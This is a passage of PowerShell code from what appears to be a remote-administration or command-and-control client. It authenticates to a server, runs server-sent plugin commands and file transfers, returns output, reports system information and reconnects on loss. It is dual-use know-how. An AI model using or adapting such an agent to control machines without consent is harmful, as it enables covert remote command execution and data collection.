if ($authResp.Type -eq $MSG_AUTH_FAIL) {
$reason = if ($authResp.Payload) { [Text.Encoding]::UTF8.GetString($authResp.Payload) } else { "Unknown" }
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Auth failed: $reason" -ForegroundColor Red
throw "Auth failed"
}
if ($authResp.Type -ne $MSG_AUTH_OK) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unexpected response: 0x$($authResp.Type.ToString('X2'))" -ForegroundColor Red
throw "Auth failed"
}
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Authenticated!" -ForegroundColor Green
# ========== MESSAGE LOOP ==========
$lastHeartbeat = [DateTime]::UtcNow
$lastInfoRefresh = [DateTime]::UtcNow
$lastCleanup = [DateTime]::UtcNow
$infoRefreshSeconds = 60
$cleanupIntervalSeconds = 10
while ($tcpClient.Connected) {
$now = [DateTime]::UtcNow
# ---- PHASE 1: Read all incoming messages ----
while ($stream.DataAvailable) {
$msg = Read-TcpMessage -Stream $stream
if ($null -eq $msg) { throw "Connection lost" }
switch ($msg.Type) {
$MSG_HEARTBEAT_ACK {
if ($msg.Payload -and $msg.Payload.Length -ge 5) {
$pending = [int]$msg.Payload[0] -bor ([int]$msg.Payload[1] -shl 8) -bor
([int]$msg.Payload[2] -shl 16) -bor ([int]$msg.Payload[3] -shl 24)
$fileQueued = $msg.Payload[4] -ne 0
if ($pending -gt 0 -or $fileQueued) {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Pending: $pending cmd(s), file=$fileQueued" -ForegroundColor Cyan
}
}
}
$MSG_PLUGIN_CMD { Handle-PluginCmd -Payload $msg.Payload }
$MSG_FILE_TRANSFER { Handle-FileTransfer -Payload $msg.Payload }
$MSG_DISCONNECT { throw "Server disconnect" }
default {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unknown msg: 0x$($msg.Type.ToString('X2'))" -ForegroundColor Yellow
}
}
}
# ---- PHASE 2: Send ALL plugin output (tight loop until drained) ----
$outputDrained = $false
while (-not $outputDrained) {
$sentAny = Send-AllPluginOutput -Stream $stream
if (-not $sentAny) {
$outputDrained = $true
}
# Check for new incoming while sending output
if ($stream.DataAvailable) { break }
}
# If new data arrived during output send, loop back immediately
if ($stream.DataAvailable) { continue }
# ---- PHASE 3: Heartbeat ----
if (($now - $lastHeartbeat).TotalSeconds -ge $heartbeatInterval) {
Write-TcpMessage -Stream $stream -MsgType $MSG_HEARTBEAT -Payload ([byte[]]@(0))
$lastHeartbeat = $now
}
# ---- PHASE 4: System info refresh (time-based, non-blocking) ----
if (($now - $lastInfoRefresh).TotalSeconds -ge $infoRefreshSeconds) {
$lastInfoRefresh = $now
$systemInfo = Get-SystemInfo
$infoBytes = [Text.Encoding]::UTF8.GetBytes($systemInfo)
Write-TcpMessage -Stream $stream -MsgType $MSG_CLIENT_INFO -Payload $infoBytes
}
# ---- PHASE 5: Dead plugin cleanup ----
if (($now - $lastCleanup).TotalSeconds -ge $cleanupIntervalSeconds) {
$lastCleanup = $now
Cleanup-DeadPlugins
}
# ---- PHASE 6: Smart wait ----
# Tight poll: check every 1ms for data or plugin output, max 20ms
$waitUntil = [DateTime]::UtcNow.AddMilliseconds(20)
while ([DateTime]::UtcNow -lt $waitUntil) {
if ($stream.DataAvailable) { break }
if (Get-HasPluginOutput) { break }
[System.Threading.Thread]::Sleep(1)
}
}
}
catch {
$errMsg = $_.Exception.Message
if ($errMsg -ne "Auth failed" -and $errMsg -ne "Connection lost" -and $errMsg -ne "Server disconnect") {
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Error: $errMsg" -ForegroundColor Red
}
}
finally {
if ($null -ne $stream) { try { $stream.Dispose() } catch { } }
if ($null -ne $tcpClient) { try { $tcpClient.Close() } catch { } }
}
Write-Host "$(Get-Date -Format 'HH:mm:ss') - Reconnecting in 5s..." -ForegroundColor Yellow
Start-Sleep -Seconds 5
}
}
finally {
Stop-AllPlugins
}